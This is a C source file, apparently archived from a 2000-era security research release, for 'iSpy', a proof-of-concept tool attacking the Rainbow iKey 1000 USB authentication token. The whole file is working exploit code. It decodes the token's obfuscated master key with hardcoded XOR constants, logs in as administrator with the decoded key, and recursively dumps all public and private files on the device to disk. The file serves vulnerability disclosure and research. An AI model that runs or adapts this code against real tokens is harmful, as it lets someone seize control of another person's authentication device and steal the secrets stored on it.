home *** CD-ROM | disk | FTP | other *** search
- /******************************************************************************
- *
- * iSpy: Rainbow iKey 1000 MKEY Generator and Data Extractor
- * kingpin@atstake.com
- * @Stake L0pht Research Labs
- * http://www.atstake.com
- *
- * Version 1.0
- * Date 6.13.00
- *
- * This proof-of-concept tool will perform the following functions:
- *
- * 1) Retrieve and display configuration data for the inserted iKey
- * 2) Convert obfuscated MKEY value into actual MKEY value
- * 3) Login as Administrator using actual MKEY value
- * 4) Retrieve all public and private data and export the directory hierarchy
- * to DOS
- *
- ******************************************************************************/
-
- #include <direct.h>
- #include <windows.h>
- #include <vector>
- using namespace std;
- #include <stdlib.h>
- #include <stdio.h>
- #include <conio.h>
- #include <ctype.h>
- #include <string.h>
-
- #include "tokenitf.h"
- #include "tokenmd5.h"
-
- // defines
-
- #define CONFIG_FILENAME "CONFIG.TXT" // filename
-
- // typedefs
-
- typedef unsigned char mkey_block[8];
-
- // globals
-
- unsigned char buff[512];
- RNBTKN_CONTEXT ctx;
-
- // declarations
-
- unsigned long ErrorInfo (char *msg, unsigned long status);
- void HexDisplay (char *msg, unsigned char *data, unsigned long length);
- int atomb (const char *instr, mkey_block out);
- int enum_directory (int path);
- int RNBTKN_API RnbTkn_EnumDirEntries(PRNBTKN_CONTEXT ctx, unsigned long Dir_Id);
-
- int _cdecl main(int argc, char *argv[])
- {
- unsigned long status;
- mkey_block obfuscated, actual;
- FILE *file;
- string curDir; // root directory for file system traversal
-
- if (argc == 1 || (atomb (argv[1], obfuscated) == 0))
- {
- fprintf(stdout, "\nUsage: %s <8-byte obfuscated MKEY>\n", argv[0]);
- return 1;
- }
-
- // Print startup banner
- fprintf(stdout, "iSpy: Rainbow iKey 1000 MKEY Generator and Data Extractor\n");
- fprintf(stdout, "kingpin@atstake.com\n");
- fprintf(stdout, "@Stake L0pht Research Labs\n");
- fprintf(stdout, "June 2000\n");
-
- // open device
- status=ErrorInfo("OpenDevice",RnbTkn_OpenDevice(&ctx, RNBTKN_OPEN_FIRST));
- fprintf(stdout, "\n");
- if (status != RB_SUCCESS) return 1;
-
- if ((file = fopen(CONFIG_FILENAME, "w")) == NULL) // create file
- {
- fprintf(stdout, "Unable to create %s\n\n", CONFIG_FILENAME);
- return 1;
- }
-
- // get configuration data
- RNBTKN_DIAGINFO diaginfo;
- RNBTKN_ACCESSINFO accessinfo;
-
- status = RnbTkn_Diagnose(&ctx, &diaginfo);
- if (status != RB_SUCCESS) return 1;
- status = RnbTkn_GetAccessSettings(&ctx, &accessinfo);
- if (status != RB_SUCCESS) return 1;
-
- fprintf(stdout, "\nMagic = %X\n", ctx.Magic);
- fprintf(stdout, "DeviceHandle = %d\n", ctx.DeviceHandle);
- fprintf(stdout, "ClientHandle = %d\n", ctx.ClientHandle);
- fprintf(stdout, "Flags = %X\n", ctx.Flags);
- fprintf(stdout, "library_version = %d\n", ctx.library_version);
- fprintf(stdout, "driver_version = %d\n", ctx.driver_version);
- fprintf(stdout, "ver_major = %d\n", ctx.ver_major);
- fprintf(stdout, "ver_minor = %d\n", ctx.ver_minor);
- fprintf(stdout, "prod_code = %X\n", ctx.prod_code);
- fprintf(stdout, "config = %d\n", ctx.config);
- fprintf(stdout, "header_size = %d\n", ctx.header_size);
- fprintf(stdout, "modulus_size = %d\n", ctx.modulus_size);
- fprintf(stdout, "mem_size = %d (bytes)\n", ctx.mem_size);
- fprintf(stdout, "capabilities = %lX\n", ctx.capabilities);
- fprintf(stdout, "SerialNumber = %08lX%08lX\n", ctx.SerialNumber[1], ctx.SerialNumber[0]);
- fprintf(stdout, "CheckSum = %04X\n",diaginfo.CheckSum);
- fprintf(stdout, "HwInfo = %04X\n",diaginfo.HwInfo);
- fprintf(stdout, "MaxPinRetries = %d\n", accessinfo.MaxPinRetries);
- fprintf(stdout, "CurPinCounter = %d\n", accessinfo.CurPinCounter);
- fprintf(stdout, "CreateAccess = %d\n", accessinfo.CreateAccess);
- fprintf(stdout, "DeleteAccess = %d\n", accessinfo.DeleteAccess);
-
- fprintf(file, "Magic = %X\n", ctx.Magic);
- fprintf(file, "DeviceHandle = %d\n", ctx.DeviceHandle);
- fprintf(file, "ClientHandle = %d\n", ctx.ClientHandle);
- fprintf(file, "Flags = %X\n", ctx.Flags);
- fprintf(file, "library_version = %d\n", ctx.library_version);
- fprintf(file, "driver_version = %d\n", ctx.driver_version);
- fprintf(file, "ver_major = %d\n", ctx.ver_major);
- fprintf(file, "ver_minor = %d\n", ctx.ver_minor);
- fprintf(file, "prod_code = %X\n", ctx.prod_code);
- fprintf(file, "config = %d\n", ctx.config);
- fprintf(file, "header_size = %d\n", ctx.header_size);
- fprintf(file, "modulus_size = %d\n", ctx.modulus_size);
- fprintf(file, "mem_size = %d (bytes)\n", ctx.mem_size);
- fprintf(file, "capabilities = %lX\n", ctx.capabilities);
- fprintf(file, "SerialNumber = %08lX%08lX\n", ctx.SerialNumber[1], ctx.SerialNumber[0]);
- fprintf(file, "CheckSum = %04X\n",diaginfo.CheckSum);
- fprintf(file, "HwInfo = %04X\n",diaginfo.HwInfo);
- fprintf(file, "MaxPinRetries = %d\n", accessinfo.MaxPinRetries);
- fprintf(file, "CurPinCounter = %d\n", accessinfo.CurPinCounter);
- fprintf(file, "CreateAccess = %d\n", accessinfo.CreateAccess);
- fprintf(file, "DeleteAccess = %d\n", accessinfo.DeleteAccess);
-
- fclose (file);
-
- // determine actual MKEY value
- actual[0] = obfuscated[0] ^ 0x1F;
- actual[1] = obfuscated[1] ^ (actual[0] + 0x01);
- actual[2] = obfuscated[2] ^ 0x0F;
- actual[3] = obfuscated[3] ^ (actual[2] + 0x10);
- actual[4] = obfuscated[4] ^ 0x1F;
- actual[5] = obfuscated[5] ^ (actual[4] + 0x07);
- actual[6] = obfuscated[6] ^ 0x0F;
- actual[7] = obfuscated[7] ^ (actual[6] + 0xF3);
-
- HexDisplay("Obfuscated MKEY\t= ", obfuscated, 8);
- HexDisplay("Actual MKEY\t= ", actual, 8);
-
- // login with actual MKEY
- fprintf(stdout, "\n\nAttempting iKey Administrator login...\n");
- status = ErrorInfo("VerifyMasterKey", RnbTkn_VerifyMasterKey(&ctx, actual));
- fprintf(stdout, "\n\n");
- if (status != RB_SUCCESS) return 1;
-
- // traverse hierarchy and clone file system and all data
- if (RnbTkn_EnumDirEntries(&ctx, 0)) // start from MF (master file) root directory
- {
- fprintf(stdout, "Unable to export file system.\n\n");
- return 1;
- }
-
- fprintf(stdout, "\niSpy manuever complete. File system successfully exported.\n");
-
- // Close device
- status = RnbTkn_CloseDevice(&ctx);
- if (status != RB_SUCCESS) return 1;
-
- return 0;
- }
-
- int RNBTKN_API RnbTkn_EnumDirEntries(PRNBTKN_CONTEXT ctx, unsigned long Dir_Id)
- {
- unsigned long i, status;
- RNBTKN_FILEINFO fi;
- char filename[16];
- FILE *file;
- unsigned char *buffer;
- unsigned long nReturned;
-
- fprintf (stdout, "dir = %08X\n", Dir_Id);
- sprintf (filename, "%08X", Dir_Id);
- mkdir (filename); // create directory in DOS
- chdir (filename); // change into directory
-
- // for all files
- for(i = 0; i < 100; i++) // maximum of 100 entries
- {
- status = RnbTkn_Dir(ctx, Dir_Id, i, &fi);
- if (status != RB_SUCCESS) return 1;
-
- if (fi.Type == RNBTKN_FILETYPE_UNUSED || fi.Type == RNBTKN_FILETYPE_UNKNOWN)
- break; // done
- else if (fi.Type == RNBTKN_FILETYPE_DIR) // directory
- {
- chdir ("..");
- RnbTkn_EnumDirEntries(ctx, fi.Id); // recursive
- }
- else // file
- {
- fprintf (stdout, "file = %08X\n", fi.Id);
- sprintf (filename, "%08X", fi.Id);
-
- if ((file = fopen(filename, "wb")) == NULL) // create file
- {
- fprintf(stdout, "\nUnable to create %s\n", filename);
- return 1;
- }
-
- // read file and export to DOS
- if (fi.ReadAccess != RNBTKN_ACCESS_NEVER)
- {
- status = RnbTkn_SelectFile(ctx, Dir_Id, fi.Id); // open file
- if (status != RB_SUCCESS) return 1;
-
- buffer = (unsigned char *) malloc (fi.Size); // create buffer
- if (buffer == NULL) return 1;
-
- status = RnbTkn_ReadFile(ctx, buffer, 0, fi.Size, &nReturned);
- if (status != RB_SUCCESS || nReturned != fi.Size) return 1;
-
- if (fwrite (buffer, 1, fi.Size, file) != fi.Size)
- {
- fprintf(stdout, "\nError writing to %s\n", filename);
- return 1;
- }
-
- free (buffer);
- }
-
- fclose (file);
- }
- }
-
- return 0;
- }
-
- unsigned long ErrorInfo (char *msg, unsigned long status)
- {
- fprintf(stdout, "\n%s: ", msg );
- switch( status )
- {
- case RB_SUCCESS : fprintf(stdout, "SUCCESS"); break;
- case RB_CANNOT_OPEN_DRIVER : fprintf(stdout, "CANNOT_OPEN_DRIVER"); break;
- case RB_INVALID_DRVR_VERSION: fprintf(stdout, "INVALID_DRVR_VERSION"); break;
- case RB_INVALID_COMMAND : fprintf(stdout, "INVALID_COMMAND"); break;
- case RB_ACCESS_DENIED : fprintf(stdout, "ACCESS_DENIED"); break;
- case RB_ALREADY_ZERO : fprintf(stdout, "ALREADY_ZERO"); break;
- case RB_UNIT_NOT_FOUND : fprintf(stdout, "UNIT_NOT_FOUND"); break;
- case RB_DEVICE_REMOVED : fprintf(stdout, "DEVICE_REMOVED"); break;
- case RB_COMMUNICATIONS_ERROR: fprintf(stdout, "COMMUNICATIONS_ERROR"); break;
- case RB_DIR_NOT_FOUND : fprintf(stdout, "DIR_NOT_FOUND"); break;
- case RB_FILE_NOT_FOUND : fprintf(stdout, "FILE_NOT_FOUND"); break;
- case RB_MEM_CORRUPT : fprintf(stdout, "MEM_CORRUPT"); break;
- case RB_INTERNAL_HW_ERROR : fprintf(stdout, "INTERNAL_HW_ERROR"); break;
- case RB_INVALID_RESP_SIZE : fprintf(stdout, "INVALID_RESP_SIZE"); break;
- case RB_PIN_EXPIRED : fprintf(stdout, "PIN_EXPIRED"); break;
- case RB_ALREADY_EXISTS : fprintf(stdout, "ALREADY_EXISTS"); break;
- case RB_NOT_ENOUGH_MEMORY : fprintf(stdout, "NOT_ENOUGH_MEMORY"); break;
- case RB_INVALID_PARAMETER : fprintf(stdout, "INVALID_PARAMETER"); break;
- case RB_INPUT_TOO_LONG : fprintf(stdout, "INPUT_TOO_LONG"); break;
- case RB_ALIGNMENT_ERROR : fprintf(stdout, "ALIGNMENT_ERROR"); break;
- case RB_INVALID_STATUS : fprintf(stdout, "INVALID_STATUS"); break;
- case RB_INVALID_FILE_SELECTED : fprintf(stdout, "INVALID_FILE_SELECTED"); break;
- case RB_DEVICE_IN_USE : fprintf(stdout, "DEVICE_IN_USE"); break;
- default: fprintf(stdout, "UNKNOWN ERROR[%04X]", status ); break;
- }
-
- return status;
- }
-
- int atomb (const char *instr, mkey_block out)
- {
- unsigned char b;
- char c;
- int i;
-
- i=0;
- b=0;
- while(i<16) {
- b<<=4;
- c=instr[i];
- if(c==0)
- return 0;
- if((c>='0') && (c<='9')) b+=(c-'0');
- else if((c>='a') && (c<='f')) b+=(c-'a'+10);
- else if((c>='A') && (c<='F')) b+=(c-'A'+10);
- if((i%2)==1) {
- out[i/2]=b;
- b=0;
- }
- i++;
- }
- return 1;
- }
-
- void HexDisplay (char *msg, unsigned char *data, unsigned long length)
- {
- unsigned long i, n;
-
- fprintf(stdout, "\n%s", msg );
-
- while( length > 0 )
- {
- n = (length > 8) ? 8 : length;
- for( i = 0; i < n; i++ )
- fprintf(stdout, "%02X ", data[i] );
-
- while( i++ < 8 ) printf( " " );
-
- fprintf(stdout, " [" );
- for( i = 0; i < n; i++, data++ )
- fprintf(stdout, "%c", (*data < 32 || *data > 127) ? '.' : *data );
-
- while( i++ < 8 ) fprintf(stdout, " " );
- fprintf(stdout, "]" );
-
- length -= n;
- if( length > 0 )
- {
- fprintf(stdout, "\n" );
- for( n = strlen(msg); n > 0; n-- ) fprintf(stdout, " " );
- }
- }
- }
-